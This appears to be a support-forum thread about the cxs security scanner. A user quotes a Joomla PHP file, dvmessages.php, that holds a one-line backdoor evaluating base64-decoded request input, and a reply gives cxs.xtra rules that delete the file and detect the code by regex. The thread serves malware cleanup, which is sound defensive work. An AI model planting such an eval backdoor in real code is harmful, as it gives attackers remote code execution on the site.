Add Custom Rule

[skyknight]

Hi,

How do i add some custom rule?

I found out some file with name dvmessages.php causing ddos on joomla site and i want cxs clean it every cron is running. Any idea how to do it?

dvmessages.php file contains:

Code: Select all

<?php
defined( '_JEXEC' ) or die(@eval(base64_decode($_REQUEST['c_id'])));
jimport( 'joomla.plugin.plugin' );

[Sergio]

if you want to delete all files named "dvmessages.php", in your cxs.xtra add the following line:
file:dvmessages.php
and all files with that name will be deleted.

Or, you can search any PHP file that uses that code using:
regphp:\(\$_REQUEST\[\'c_id\'
this line will find any file with that part of the code, you can use it in a regall as well.

Sergio

[skyknight]

thank you very much